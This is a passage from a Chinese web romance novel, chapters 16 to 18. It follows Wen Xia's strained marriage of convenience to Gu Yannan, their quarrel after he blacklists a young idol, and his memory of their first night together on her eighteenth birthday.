“温大小姐,你可算来了,”梁从音看了眼腕表,啧声,“十点四十一了,我等你快一个小时了,你该怎么向我道歉?”
温夏走到沙发坐下,淡淡道:“对不起。”
“……”梁从音不满,“这么敷衍啊,好没诚意。”
温夏淡睨着她。
梁从音眨了眨眼:“今晚你和祁总监一起去我的庆功宴吧,庆祝我们家裴霖三公排名稳住第一,我刚和祁总监说好了,你没什么事的话一起来呗。”
温夏看向祁源。
祁源无奈摊手:“我也不知道怎么的就答应她了。”
“来嘛来嘛,祁总监一大把年纪连个女朋友都没有,我给你介绍美女,我可喜欢当月老了。”
祁源:“……”
梁从音软磨硬泡,温夏拿她没办法,再加上不想回家见顾衍南那张阴晴不定的冷脸,便答应了,准备等会儿给张婶打个电话。
“就知道宝贝你不会扫兴!”说完私事,梁从音把律师梳理过的合同推给温夏,“你看看还有哪条需要改的。”
温夏靠在沙发上慢条斯理地浏览。
梁从音站在落地窗前打电话。
祁源在办公桌前处理工作,没一会儿被助理喊去开会。
祁源走后,梁从音打完电话,在温夏对面坐下,做作地轻咳了声。
温夏抬头:“怎么了?”
梁从音指了指她的脖子,“我就说你向来时间观念最强,不至于无缘无故睡过头。昨晚跟谁睡的啊?这么激烈。”
温夏低眸,理了理丝巾:“你不认识。”
作为多年好友,梁从音对温夏很了解,她不是对外表现出来的端庄淑女,在性生活上,甚至可以用open形容,倒不至于滥交,但也不传统,不是什么纯情小白花。温夏十八岁成人礼的第二天,梁从音意外得知她昨晚和男人睡了,差点惊掉下巴,逼问她野男人是谁,她怎么也不开口,她又问是认真的还是玩玩,温夏回她:认真的炮友。
顾衍南绯闻不断,温夏不管不问,就像圈内大多数各玩各的表面夫妻那样,梁从音顺理成章地以为温夏昨晚跟哪个情人睡的。
倒不是她思想龌龊,只是男的找情妇女的找情夫这种事对他们这个圈子里的人来说再寻常不过,顾衍南能和女明星暧昧,温夏也能和身强体壮的年轻帅哥睡觉。
只是——
梁从音劝了句:“你玩就玩吧,不要闹得太大,更要注意别被仙人跳了,你们家顾大公子这种高高在上的男人最要面子,要是闹到人尽皆知,他为了自己的脸面,说不定会跟你离婚。”
温夏扯了扯唇。
“这个世界就是这样不公平,他能跟女明星闹到上热搜,但你目前暂时还得靠着顾家——”梁从音拍拍她的肩膀,“偷着藏着点,等砚哥出来再说,昂。”
温夏嗯了声:“我有分寸。”
-
温氏一片祥和,同在北城金融中心的顾氏集团仿若被乌云笼罩,以总裁办为中心,低气压不断往外扩散。
午休结束,公司内网公布数十名高管集体离职,总裁办门口站着两排整齐的黑衣保镖,形成一道电网般的强压屏障。
“顾总,徐董高血压晕倒了。”秘书前来汇报。
顾衍南眼皮也没抬:“120不会打?”
秘书:“……是。”
秘书离开没几分钟,顾衍南的私人手机响起,瞥了眼屏幕上的名字,轻嗤了声。
“爷爷。”
“你柳叔刚才打电话跟我哭,说你把他们这些老人从董事会赶走了,”顾老爷子的语气有几分不认同,“他们几个都是公司的老人了,没有功劳也有苦劳,你睁一只眼闭一只眼,当米虫养着就是了。”
顾衍南靠着办公椅,嗓音淡淡:“米虫能养,蛀虫不行。”
电话那头沉默了。
顾衍南二十二岁接管顾氏集团,三年内,从总部到分公司,肃清不知道多少高管,现如今集团董事会完全是他的一言堂。
柳董徐董之流,小错不断大错没有,加上和老爷子还有他父亲早些年的交情,顾衍南按照老爷子说的,睁一只眼闭一只眼,就当做慈善了。
但他今天显然没心情做好事,一大早来到公司,秘书汇报,因徐董的错误决策,导致顾氏最新项目的进度被打乱。
这事成了顾衍南大开杀戒的导火索,短短几个小时,董事会经历一场重大变动,十几名高管毫无预兆“被离职”,却不得不接受,气不过的只能靠告状和撒泼打滚泄愤。
顾老爷子叹了口气:“人你开就开吧,别做太绝,毕竟他们跟了我几十年。”
“嗯,我没打算让他们在监狱养老。”
顾老爷子在电话那头又叹了一声,有种物是人非的惆怅。
不过更骄傲孙子的雷霆手段,不亏是他顾远江亲自养大的。
“你心里有数就行。”
“嗯。”
“公司你管的好我不说你,但你和小夏——”顾老爷子停顿片刻以示重视,“我怎么听说你对小夏的态度很不耐烦?”
顾衍南眸光沁冷:“没有。”
“我不管真有假有,娶她是你自己点的头,证也领了婚礼也办了,你别犯浑,”顾老爷子的声音沉下来,“小夏是个好孩子,别让我知道你又干对不起她的事。”
“嗯。”
“你别嗯嗯嗯的,以前看你年轻我不稀得说你,现在快三十的人了,该收心了,好好和小夏培养感情,争取在我死之前给我生个曾孙。”
顾衍南眯起眼。
培养感情。
和那张虚伪的假笑脸培养感情。
呵。
“知道了。”敷衍回了句。
顾老爷子没再唠叨:“别的我也不多说了,这几天你挑个时间带小夏回老宅吃饭,商量眠眠婚礼的事。”
“嗯。”
“你忙吧。”
挂断电话,顾衍南将手机扔到桌面。
“砰”的一声,站在门口的周之恒背脊一僵,攥着信封,硬着头皮走进办公室。
“顾总,这是明小姐送来的,说和太太有关。”
顾衍南撩眸。
周之恒立刻把信封放到桌上,低着头,小心翼翼地观察。
里面的照片他不知道是什么,但联想到上次在伦敦拍卖会上明央小姐的那句话,直觉是一枚威力不小的炸弹。
果不其然,看到照片后,顾总眼神瞬间冷了下来,冷到令人胆寒,周之恒的后背直冒冷汗。
敏锐的第六感告诉他:有人要完蛋!!-
下午五点。
顾衍南比平时早一个半小时到家。
张婶拎着菜刚进厨房,就听到门口的动静。
她诧异道:“少爷,您这么早就回来了啊。”
顾衍南没什么情绪地嗯了声。
“我这刚买好菜,还没开始做呢,”张婶系上围裙,“少夫人下午打电话说今晚要去参加朋友的庆功宴,不回来吃了,您有什么特别想吃的?我做给您吃。”
顾衍南脚步顿住。
张婶还在絮叨:“可惜少夫人打电话的时候我已经买好菜了,有她最爱吃的小排骨,可新鲜了……”
“你回去吧。”淡漠的声音打断她的话。
张婶猛地抬头:“什么?”
“晚饭我来做,你可以下班了。”
“这……”张婶还想说点什么,但看着少爷那张面无表情的脸,把所有的话都咽了下去,麻利地解下围裙。
-
因为来的大部分都是明星,庆功宴在梁从音私人的一套别墅里举行。
梁从音手底下的人各个社交达人,没一会儿场子就被炒的特别热闹,温夏不怎么喜欢这样的场合,端了杯柠檬水和祁源坐在角落的沙发上聊天。
“祁总监,有没有看上的,我给你牵线啊。”梁从音招呼完最后一波客人,端着酒杯在对面的沙发坐下。
祁源无奈摊手:“你确定大明星能看上我?”
“祁总监,你这就有点妄自菲薄了,你这种事业有成长相周正性格温和私生活干净的男人,是最抢手的,”说着,她用手肘碰了下温夏,“夏夏,你说对不对?”
温夏点点头,真诚道:“学长,你这把年纪,是时候考虑婚姻大事了。”
祁源:“……我是有多老?”
“难得你晚上不加班不应酬,看看这里有没有合眼缘的,或者你喜欢什么类型的告诉从音,她认识的人多,帮你留意留意。”
温夏不是话多的人,能让她扯闲话的也就这几个在乎的人,祁源叹了口气,认真想了想:“我没什么太多的要求,我性子比较闷,希望对方最好活泼一点,是有话直说的性子,我大学交往过一个女朋友,生气总是憋着不说,我那时候没怎么接触过异性,猜不透她的心思,也不知道哄人,没多久她就把我甩了。”
温夏还是第一次听祁源说这段经历,砸吧着柠檬水,津津有味地听着,心想:亲密关系中,果然没人会喜欢闷葫芦。
“就这吗?”梁从音问,“长相身材年龄职业家世呢?”
祁源淡然一笑:“我说毫不在意也是假话,用不着像你和夏夏这么好看,长相和身材最好中上,年龄最好比我小,职业和家庭中规中矩就好。”
“这要求不高啊,你条件这么好,怎么单到现在?”梁从音疑惑道。
祁源苦笑:“我也不知道。”
“是因为学长你这些年只顾着忙工作,”温夏挑了下眉,“你该多抽点时间谈恋爱。”
祁源被调侃的不好意思,回击:“你还好意思说我,我听你大哥说你这些年也单着,你每天除了读书就是画画,时间可比我多得多,不也没找到男朋友?这事要靠缘分。”
温夏垂眸,眼睫颤了两下,辩驳:“那是因为我眼光高,没遇到能配得上我的。”
“那是,温夏夏的眼光可不是一般得高,”梁从音说,“你是不知道从小到大有多少男的追她,简直要从这里排到法国,她没一个能看上的,真是辜负这张这么好看的脸,不像你家顾——”
话说到一半,梁从音的助理急匆匆走来,面色凝重地把手机递给她:“梁总,蒋总有急事要和您说。”
梁从音接过手机:“什么事啊?”
“……您自己问蒋总吧。”
温夏喝着柠檬水,漫不经心地看着梁从音,见她脸色眉头皱得越来越紧,脸色越来越难看,期间还朝她的方向看了几眼。
等她挂断电话,温夏问:“怎么了?”
梁从音抿紧唇,权衡着要不要说。
温夏:“到底怎么了?”
去他妈的。
梁从音气的把手机摔到茶几上,怒骂道:“妈的顾衍南发的什么疯居然要封杀裴霖!节目组不敢得罪他把裴霖的镜头一剪没!我投的那一个多亿要打水漂了!!!”
第17章 撕破脸
梁从音急得抓耳挠腮, 让助理把裴霖喊来。
裴霖正被起哄在舞台上唱歌,不明所以下台,一脸懵逼地站在梁从音面前:“怎么了梁总?”
梁从音一改往日的随和, 严肃地看着他:“你是不是得罪过顾衍南?”
“顾衍南……”裴霖重复这个名字, 突然想到什么,“是那个前段时间和林曦姐上热搜的大佬吗?”
“嗯。”
裴霖头摇得像拨浪鼓:“我没有!我都没见过他,根本不知道他是谁,怎么可能得罪他!”
梁从音皱了皱眉,强行冷静,沉思片刻,说道:“难道是因为前段时间林曦在节目中说你肢体不协调被你的粉丝骂的事?”
林曦是裴霖正在参加的选秀节目的飞行导师, 只参加两期,点评时给裴霖的舞蹈打“D”,差点导致裴霖没保住第一,裴霖的粉丝中有几个不理智的就骂林曦某次跨年舞台上跳的舞特别僵硬, 林曦的粉丝自然不可能眼睁睁看着, 就骂了回去, 一来二去的两家粉丝就这么对上了。
梁从音在娱乐圈混迹多年,知道一丁点的火星都能燃起一片大火,所以一出事就发布公告引导粉丝理智, 但裴霖粉丝受众群体中小学生居多,根本不受控。
后来她也不管了,娱乐圈这种事多的是,骂几天也就没了, 毕竟还要留力气和真正的对家互骂。
没想到居然能埋下这样的引雷。
“夏夏……”梁从音看向温夏,欲言又止。
温夏拿出手机,手指有些她自己都未察觉的颤抖:“我给他打电话问问。”
梁从音连忙点头:“嗯嗯!”
聒噪喧闹的音响声仿佛能把耳膜震裂, 梁从音带着她去了间客房,温夏在沙发上坐下,拿出手机打开通讯录。
和顾衍南的上一通电话是半个月前,他出差,她走程序问他在哪出差,他嘲讽她不该过问他的行程。
之后他们没再联系,她对他的去向一无所知,他回国,她因情绪不好消极怠工,没有主动和他缓和关系,他威逼利诱她不能把他当空气。
她迅速调整好状态,温婉顺从,像他希望的那样,见到他和传绯闻的女人走在一起,她既没有甩脸让他下不来台,也没有忽视他把他当空气,温和大度地寒暄,可他却莫名其妙对她撒气。
昨晚他疯狗般的孟浪行径她说服自己忍下去,他的阴晴不定她也选择忍耐,这是当初就谈好的价码,可他居然丧心病狂到对一个无辜的小明星下手。
仅仅因为裴霖和林曦有过连矛盾都算不上的过节。
虽然在她面前他的性情糟糕到极点,但他对外向来以温润矜冷贵公子的形象示人,手腕虽雷霆却不至于狠毒,甚至能称得上几分脾气好,不小心得罪过他,心情好便不会计较,这次却对裴霖赶尽杀绝。
昨晚他生气,她还想不会是林曦的原因,因为看两人的相处模式,林曦属于主动的那方,他不怎么感兴趣。
今天就为了林曦对付无辜的裴霖。
昨天那副兴致缺缺的态度,是演给她看的吧?是担心她在顾爷爷面前拆他的台还是在床上不配合他?
昨晚,他指责她总是说话惹他生气,是因为林曦和她打招呼,她只回了个“你好”,没有表现出热情似火吗?
是不是哪天他兴致来了要和林曦上床,打电话让她帮忙买套,她必须得摆出一张温柔微笑的脸,亲自送上门,他才能满意?
温夏的脑子像是要爆炸一般。
各种思绪纷繁复杂,身体却像提前设定好指令,双目放空,抖着手指找到他的号码,点了拨通键。
梁从音屏住呼吸,低头看着屏幕上不带任何私人情绪的“顾衍南”三个字。
一连串的忙音,然后是机械女声:“对不起,您拨打的……”
温夏掐断电话。
梁从音咬咬牙,怒骂:“该死的混蛋,他给小情人献殷勤,拿我的人开什么刀啊!”
“你先别急,”温夏听到自己冷静地安慰梁从音,“你把裴霖是怎么得罪林曦的过程告诉我,我回去跟他解释。”
“这他妈其实根本就不算是个事儿……”梁从音把来龙去脉告诉她。
温夏:“我先回去,晚点给你打电话。”
梁从音点点头,突然想到什么,停顿片刻,劝道:“夏夏,你不要因为这件事和他撕破脸,实在不行,打水漂就打水漂了,这点钱我早晚能赚回来。”
虽然梁从音现在很想杀了顾衍南,但残留的理智告诉她心里再怎么怨恨也不能和顾衍南撕破脸,且不说顾家在北城一手遮天的地位,温氏和温砚目前还要靠顾家,真把顾衍南惹急了,这段时间温夏靠着顾太太的名头拿到的资源让多少竞争对手眼红,失去顾衍南这个强大的保护伞,想要把温氏弄死的人绝对比之前还要多。
不是她看不起温夏,认为她只能依附顾衍南,但现实就是这么残忍,半年前温夏甚至连财务报表都看不懂,跟还没成年就在商场经历各种大风大浪的顾衍南根本没法比。
还有温砚——温家世代经商,不比顾家的红色背景,再加上顾衍南他外公那边,他亲舅舅可是出现在XX里的大人物,温砚的减刑手续也就他一句话的事。
温夏嫁给顾衍南就是为了温氏和温砚,她不能让夏夏为了她和顾衍南撕破脸,付出这么大的代价。
梁从音暗暗咬牙,后悔地想,早知道刚才忍着不说了,说出来反倒叫夏夏为难。
“这事其实我也有错,如果我早点发公告处理粉丝的情绪就不会闹成这样,”梁从音故作轻松道,“顾大公子这么花心,说不定过几天就对林曦没兴趣了,到时候我再去求他,肯定比现在正在兴头上好说话,你回去委婉提一提,他不同意你就别说了,千万别为了这事儿跟他吵啊。”
温夏垂眼,嗯了声:“我明白。”
-
梁从音的别墅到明湖公馆正常行驶五十分钟的车程,这个点路上的车流量不多,温夏半小时到家。
解开安全带,拔掉钥匙,她透过车窗静静看着庭院,突然抬起手,抓着头发胡乱地揉了揉。
缓了几分钟,她冷静下来,葱白纤指慢慢梳理乱掉的头发,脸上也恢复了平静淡然。
温夏进门的时候,顾衍南正在厨房,最后一道红烧小排骨收汁,他关掉火,盛出来装盘。
明湖公馆是意式风的餐岛一体,济州灰和凝香胡桃的撞色搭配质感高级优雅,餐桌不算太大,两米长一米宽,此刻摆满了餐盘。
大约十几道菜,没什么均衡饮食的搭配规律,看着像是冰箱里有什么菜做什么菜那般随性,做了太久,有几道已经凉的透透的,色泽没那么好看。
最新出锅的几道还冒着热气,色香味俱全,从卖相到摆盘,说是五星级大厨做的也有人信。
——顾衍南的厨艺很好。
十年前在酒店套房,过年那天,他给她煮了一碗面,味道很不错。领完证,顾爷爷让他亲自下厨给她做一顿饭,说是他们顾家的传统,丈夫要给新婚妻子做饭。
他一个人在美国待了六七年,听顾爷爷说,在那边没雇人照顾他,他一直都是独居,做饭之于他是情趣,心情好时会下厨做给顾爷爷和眠眠吃。
是帮林曦出气,林曦感动不已,把他哄高兴了吗?
一连做了十几道,生怕旁人看不出他有多高兴?
顾衍南将最后那道红烧小排骨放到餐桌上,拉开餐椅,头也没抬,语调淡淡:“吃点?有你爱吃的小排骨。”
温夏抿唇:“我吃过了。”
顾衍南没说什么,仿佛刚才只是随口一提,夹了块小排骨送入口中。
他从小受的精英教育包括用餐礼仪,不得不说,他不发疯的时候真是怎么看怎么贵气,温夏这些年见过不少人,但没人比他更适合用blueblood形容,吃个家常饭都优雅得像在品茶作画。
但温夏此刻无暇欣赏。
她强压着胸口的躁郁,拉开椅子坐在他对面,淡声:“我有事和你谈。”
顾衍南将口中的那颗上海青咽下去,才回她:“我在吃饭。”
嗓音很淡,没有他惯常的不耐,单纯在陈述“他在吃饭”这个事实。
温夏攥紧手指,一瞬不瞬地盯着他。
顾衍南视若未闻,慢条斯理地品尝每一道菜,包括已经凉透的那几道。
一顿饭吃了二十分钟,没有刻意放慢速度也没有加快,她被当成空气,他全程看也没看她一眼。
饭后,他起身,上楼前突然想到什么,回头对她说:“这周六的时间空出来,回老宅吃饭。”
撂下这句话,他抬腿,朝楼梯走。
“吱嘎——”
温夏猛地起身,餐椅摩擦地板,发出刺耳的声音。
“能抽五分钟的时间给我吗?我有事要和你谈。”温夏快步走到他面前,态度尽可能的“恭敬”。
顾衍南低眸看了眼腕表,微不可觉地皱了下眉,一副不耐烦的表情,到底给她几分薄面,嗓音疏淡:“说吧。”
温夏站在他对面,客厅主灯恰在他们中间,冷白光线自上而下洒落,像是一把尖锐的银刃,划分楚河汉界。
“好,我长话短说,”温夏看着他的眼睛,单刀直入,“你为什么要封杀裴霖——”
顿了下,她料想他不一定知道裴霖的名字,补充,“就是那个男明星。”
“你要和我谈的事,就是这个?”他淡淡反问。
“是。”温夏定定地看着他。
男人也看着她,几秒后,突地笑了:“因为他惹我不高兴,刚好,我一句话就能让他再也不能碍我的眼。”
温夏闭了下眼,紧攥着手指,指甲陷入掌心的软肉里,刺痛让她勉强维持镇定。
她放缓声音,语气可以称得上低声下气:“你能不能高抬贵手放过他?”
顾衍南要比温夏高二十公分,从他的角度,能看到她剧烈颤抖的睫毛,还有泛白的指节。
冷光下的黑眸染上一层寒霜,他勾了勾唇:“理由。”
大脑像是上锈的齿轮,反应过于迟钝,明知道他会对这句话冷嘲热讽,她还是说了:“就当是看在我的面子上。”
顾衍南语气玩味地反问:“你的面子?”
“嗯,我的面子,”她扯了扯唇,没什么意义地对他笑了笑,对上他的眼睛,语气如谈判般咄咄逼人,“我们之间,虽然我需要你远胜你需要我,但至少我不是一点价值也没有吧?”
她看到他唇边的弧度凝住,继续道:“如果我们的关系恶化到一定的程度,顾爷爷那边你也不好交差吧?”
“所以——”
她顿住,没把话说完。
温夏一点也不想和他撕破脸,理智告诉她该按照梁从音说的那样做,但今晚不知怎的,这些话突然就脱口而出。
她觉得自己仍是冷静的,语气应当也是很平静,不是那种歇斯底里的爆发,至少她没有失态,外表看上去依旧体面,不至于太落下风。
“所以什么呢?”顾衍南靠在楼梯柱子上,白光下的那张脸格外好看,骨相优越,桃花眼漂亮到一眼勾魂。
只是黑眸里蓄着不断上升的风旋,同时又宛若一潭平静死水。
温夏听到自己说:“所以为了不让顾爷爷生气,给我这个面子吧。”
下一刻。
他募地嗤笑出声。
就像是听到很搞笑的笑话。
温夏背脊一僵,爬上凉意。
他的声线其实很好听,低低的磁性,温夏记得女生们聚在一起有次讨论他的声音,兴奋地说着他的声音好听到能让耳朵怀孕。
顾衍南居高临下地看着她,唇角噙着薄笑,眼神却冷的令人胆寒。
“你为了一个卖笑的小白脸,拿老爷子压我?”
第18章 来不及掩饰的冷漠和防备……
温夏的大脑像是被利刃切割一般, 分出两种界限分明的对立意识——这对她来说是一种稀疏平常的事,大脑是人体最复杂的器官,再加上她的职业属性, 导致温夏的思维非常活跃。
但多年的习惯, 不管脑子里想得再多,理智总是会压倒性占据上风。
这次却失效了。
温夏抿紧唇,淡声说:“我不想这样,是你欺人太甚。”
顾衍南唇角弧度更深:“我欺负他关你什么事?”
“那你为什么非要欺负他?就因为他和林曦曾经在综艺节目里有过摩擦?你既然这么护着她,你为什么不娶她,让她背着小三的骂名?”温夏克制着情绪,却越来越不受控, “你想哄她开心的话,这点蝇头小利怎么能拿得出手,最好的方式是和我离婚,让她做你的顾太太。”
顾衍南的注意力全被“离婚”两个字勾住:“和你离婚?”
“是, 虽然二婚不如一婚值钱, 但我相信林小姐不会介意, 她一定会很开心。”
话落,客厅安静下来,死寂的沉默在空气中蔓延。
顾衍南看着面前这张素来平静寡淡的脸染上薄怒, 双眸狠狠地瞪着他,说的话可以用口不择言来形容。
显而易见,她生气了。
因为他封杀那个卖笑的小白脸,她动怒了。
昨晚他说了那么多难听的话, 她都是那张“随你怎么说”的死人脸,今天居然为了一个卖笑的小白脸跟他撕破脸?
就因为那个小白脸长了双她喜欢的眼睛——当年她跟他上床就说她喜欢他的眼睛,每每都要盯着看许久, 把她弄高兴了一个劲儿地夸他的眼睛好看,她很喜欢,连带着她那个阴魂不散的前男友也是同样眼型的桃花眼。
她丝毫不顾淑女形象盯着那小白脸的眼睛看,就差把眼珠子瞪出来,是想起她那个也爱穿白衬衫的前男友了吧。
不然一个陌生人值得她这样护?
她可没有见义勇为的菩萨心肠。
顾衍南唇边弧度彻底消失,静静地盯着她,黑眸深沉复杂。几秒后,他缓缓开口,语气轻描淡写得像在谈论一件无关痛痒的小事:“她没你合适,更没你懂事,老爷子看不上她,我跟你证也领了婚礼也办了,离婚挺麻烦的,更何况——”顿了下,他轻嗤了声,“现在这样又不耽误什么。”
看她的五官一寸寸僵住,顾衍南心里生出一种扭曲的快感,至少此刻她的情绪是在为他波动。他嘲讽地扯了扯唇,对她微微一笑:“你放心,承诺你的事我记得,你不用想着拿这件事逃避你顾太太的义务。”
懂事、合适、顾爷爷看中她、离婚会很麻烦,或许还要加一条她在床上能让他满意,所以他愿意把无数女人趋之若鹜的顾太太位置给她。
温夏机械地点点头,这些她早就知道,他的这番话不过是证实罢了。
“所以你不会放过他,对吧?”她平静地问,嗓音有几分她自己都没察觉到的颤抖。
像是不想和她继续谈论这个无趣的话题,他低眸看了眼表,这个动作象征着他的耐心告罄:“我不习惯出尔反尔,五分钟已经到了,我该洗漱睡觉了。”
-
五十五、五十六、五十七……
主卧阳台,顾衍南靠着栏杆,一只手夹着烟,低眸看着表盘指针,静静等待三根指针重叠。
前天晚上,她答应过他,不会再这么晚不回卧室,今天就食言。
一如既往的善变。
也是。
她装着副温良贤淑的模样本就是为了维持表面的平和,如今因为个卖笑的小白脸和他撕破脸皮,自然不用再装。
他实在讨厌她那张虚伪的假笑脸,可她因为别的男人动怒,更让他讨厌。
寂寂春夜,烟雾随风漫过锁骨,下颌,青烟后的面容模糊。
顾衍南抬手,沉沉吸了一口,漫不经心回想他们的第一晚。
寒假,他回国陪老爷子过春节,和好友聚会结束太晚,他没折腾回家,去他常住的酒店套房。
接近零点,哪怕开足暖气,走廊仍有些冷清,他就是在等电梯时遇到的温夏。
十八岁的温夏,年轻美丽,一身月白色长裙,黑色长发编织成精致的鱼骨辫垂在脑后,眉眼温静柔软,杏眸湿润清澈,瓷白皮肤细腻得看不到任何毛孔。
很漂亮的一张脸,他见过形形色色的女人,客观来说,有几个长得并不比她差,可她最踩他的审美点,好似五官的每一个部位都是按照他的想法长的。
完美女神。
顾衍南想起回国后的几场聚会中,有人这样评价她。
两人同岁,他比她大几个月,生活在一个圈子,总会遇见。
他高一在国内念的,和她同校,不过一文一理,教室不在一个楼层,几乎没怎么见过,但她的事迹他没少听说。
青春期的男生最无聊,他经常会听到有人讨论她又考了年级第一,又漂亮又聪明又有礼貌,对谁都一副好脾气,拒绝男生的示爱也是温和礼貌的,给足了对方面子,乌发白裙,就像下凡的仙女,仙气飘飘的。
他偶然撞见一次,男生拘谨紧张地说表白词,她耐心听完,走程序般礼貌拒绝,温声细语的,确实和传闻中一样温柔,可他怎么看怎么觉得,这幅温和外表下,是眼睛长到头顶上的傲慢。
并不是刻意掩饰,而是生性如此,低调的傲慢,好像什么都入不了她的眼。
她也确实有傲慢的底气,显赫的家世,漂亮聪明,举手投足皆是世家名媛的教养,优雅端庄,北城名媛中的佼佼者。
他并不喜欢傲慢的女生,所以下意识皱了皱眉,转身后却忍不住生出男人的劣根——她乖乖臣服会是什么样。
念头不过闪现一瞬,很快被其他事冲散,高二那年,他去了美国念书,之后只见过她几次,都是匆匆一瞥,话都没说过——之前他们从没说过话。
这次回国,她依旧是男生口中的话题中心,说她没捐钱也没捐楼,靠着自己考上首屈一指的清大,而且出落得更漂亮,简直是完美女神。
是更漂亮了,比上次见她要高了点,四肢变得纤长,婴儿肥也没了,脸蛋瘦削,眉眼被雕琢的精致如画。
那天她穿的依旧是一身月白色的长裙,吊带款式,裙摆有繁复漂亮的百褶,酒店内暖气很足,她没穿外套,锁骨精致,骨涡不深不浅,天鹅颈修长白皙……她怎么这么白?简直要比白种人的肤色还白皙,皮肤很好,细腻清透,很适合在上面留下印子。
腰也细,用手就能握住,这么细,不能掐的太用力,听说她三岁开始学舞蹈,柔韧性很好,腿在裙子里他看不见,不过料想肯定又白又长又直,裸露的脚踝也很漂亮,双脚被包裹在米白色高跟鞋中,他也看不到。
顾衍南皱了下眉,视线往上挪,他们一前一后等电梯,以他的身高和角度,能看到她微微鼓起的胸脯。
不算大,他的手覆在上面,应该刚好能完全裹住,会很软……
陡然意识到脑子里在想什么猥琐的东西,顾衍南闭了下眼,挪开视线,喉结艰涩滚了几下。
她身上的香味太好闻,浓烈酒气中的那一抹清淡的柠檬香,无孔不入地钻进他的呼吸,才会让他像个没进化完全的原始动物一样在大庭广众发.情。
好在这里只有他们俩。
她站在他右前方,背后没长眼睛。
叮——
电梯抵达楼层。
两人一前一后走进去。
电梯门缓缓关上,里面只有他们俩。
顾衍南刷卡,按楼层。
她抬眸瞥了眼,没动。
和他住一层吗?
轿厢封闭,那缕清淡的柠檬香气在空气中渐渐扩散,顾衍南的目光落在她的耳朵上,她的耳朵也很可爱,耳垂厚厚的,有点红,没戴耳饰,应该佩戴一副珍珠耳钉,肯定很适合她。
视线下移,看着她白皙光洁的脖子,这里很适合戴一条珍珠项链……她的手腕细痩纤长,戴翡翠会衬得更白,还有脚踝,这么漂亮的脚踝上应该戴着铃铛脚链,会晃得很好听——
“你想和我上床吗?”
她的声音也很好听,尾音上扬,软软的很温柔,募地打断他的思绪,如果不是电梯里只有他们两个人,顾衍南不会认为这句话是她说的。
他目光一凝,看着她转过来,靠在电梯上,葱白手指点了下反光的银色金属:“你刚刚盯着我的胸看好久了。”
顾衍南脸色沉了沉,这位男生口中的完美女神,天上下凡的仙女,对他说的第一句话居然如此轻浮。
她不是号称最端庄的吗?这是端庄的淑女该说的话?
潜意识试图通过矛盾转移法,把让他难堪的责任推到她身上——她不该这么直接地揭穿他的。
她却丝毫未察觉他的羞恼,反倒更坦率地说:“我觉得你的眼睛很好看,长得也很好看,身材也好,我想和你上床。”
不愿在与她的第一场博弈中落下风,他轻嗤:“想和我上床的女人多的是,你并没有特别突出的亮点。”
她似是有些不高兴,秀眉微皱,耷拉着脑袋。
这就放弃了吗?
他的脸色更沉,一言不发地挪开视线。
电梯上升,抵达二十九层。
门缓缓打开,他抬腿,率先走出去。
走廊铺着厚实的地毯,她的脚步声轻到听不见,以至于他甚至无法得知她到底有没有跟出来。
沉默地走了一会儿,他在原地站了几秒,转过头。
就这样对上她正注视着他的那双黑色眼睛。
那眼神,像是一早就猜到他会回头。
或者说,在等他回头。
凌晨的走廊安静得能清晰听到胸腔里的回响。
他抿了抿唇,转身,抬腿往套房走。
他知道她跟上了,放慢脚步。
刷卡,推门,走进房间,他没把门关上。
将房卡插进卡槽,柔和的暖光瞬间亮起,他朝里走了几步,没听到关门声,几秒后,转身。
她站在门口,迟迟未进。
低头看着腕表,眉头紧锁。
他皱起眉:“不进就把门关上。”
“等一等——”她头也没抬,仍低头看她的表。
他没有任何理由听她的话傻等,他该去把门关上,顾衍南抬腿走到门边,他该抬手关门,却迟迟未动。但已经走到这了,他给自己找了个台阶:“等什么?”
“等零点,还有一分钟,”她终于抬头,眼睛雾蒙蒙的,长长的睫毛像可以把玩的小扇子,“我今天十八岁生日,我记得法律上规定要过零点才成年吧,我只是想和你睡觉,不想让你坐牢。”
“……”
“你刚刚说我没有特别突出的亮点,这点我不认同,”她轻轻摇了摇头,认真地说,“我聪明,漂亮,身材好,有钱,学习成绩好,我会弹琴跳舞,还会画画——我画画很好看的。”
“我有很多特别突出的亮点。”她强调。
她一副特别认真的语气,非常不满他刚才那句“没有特别突出的亮点”的评价,仿佛那句话是对她人格的侮辱。
顾衍南眯起眼,他感觉到体内血液在血管里沸腾,流动的速度隐隐加快,指尖微微颤抖,甚至有几分发麻。
又听她道:“你放心,我不会纠缠你,只是上床。”
话落,她弯起眼睛,晃了晃白到发光的手腕上的腕表,对他眨了下眼睛,像俏皮的小精灵:“零点了。”
……
三根指针重叠,顾衍南用手掐灭烟,抬腿往她的书房走。
凌晨的走廊寂冷静谧,和那晚一样,看在她当年那么可爱的份上,顾衍南决定再原谅她一次。
只要她乖乖服软,他不跟她计较食言的事。
今晚……他被她气的,话说的也有点过分。
眼前闪过她逐渐僵住的五官,顾衍南瞳眸骤然缩了下,她很难过吗?
心脏猛地一抽,顾衍南不自觉加快脚步,推开书房的门。
里面的灯没开,窗帘也没拉,银白月光从窗户泄露,昏暗光线散在书房的每个角落,顾衍南一眼就能看出书房里没人。
他拧着眉,快步下楼,客厅和厨房也不见人影。
心脏突地沉了下去,像是在跳楼机的最高点,毫无预兆地飞速下坠,脑海中闪过一个荒唐的念头——
她离家出走了吗?
念头一出就被他用理智否决,温夏不是冲动的性子,不会去做小孩子做的幼稚行为。
可是,他的话说的确实太难听,她会不会难过到真的离家出走了?
顾衍南喉结滚动,直到看到玄关处她的车钥匙,紧绷的神经缓了缓,从一楼到二楼,挨个房间找她。
衣帽间没有,琴房画室没有,顾衍南站在冷寂的走廊,顿了几秒,突然调转方向,去了家庭影院。
老爷子当初只留主卧一张床,但家庭影院里有一个单人床大小的沙发床。
顾衍南皱了下眉。
拧着门把手推开,走廊的光线投射进来,昏暗浮沉中,他看到蜷缩在沙发床上,盖着厚厚毛毯的女人。
紧绷的神经骤然一松,顾衍南靠着门框,静静盯着她看了好一会儿,抬腿走了进去。
她侧躺着,双手抱着自己胳膊,蜷缩成一只可怜的小虾米。
微不可觉地叹了声,顾衍南走到她面前,弯腰,将她抱起。
然而,手刚碰到她,温夏陡然惊醒,顾衍南的目光一直落在她脸上,所以不可避免地捕捉到她眸中来不及掩饰的冷漠和防备。
他的喉咙一紧,动作僵住。
温夏睡眠浅,察觉到有人靠近,本能睁眼,朦胧中看到那张熟悉的脸,松了口气的同时,心底泛起一丝疑惑。
他不是说要睡了吗?
脸皮已经撕破了,他话说得很清楚,他要和她睡在一起只是因为需要她解决生理需求,这是当初说好的代价。
但同床不是,温夏现在一点也不想被他抱着睡,尤其是清醒状态下,被他抱着入睡。
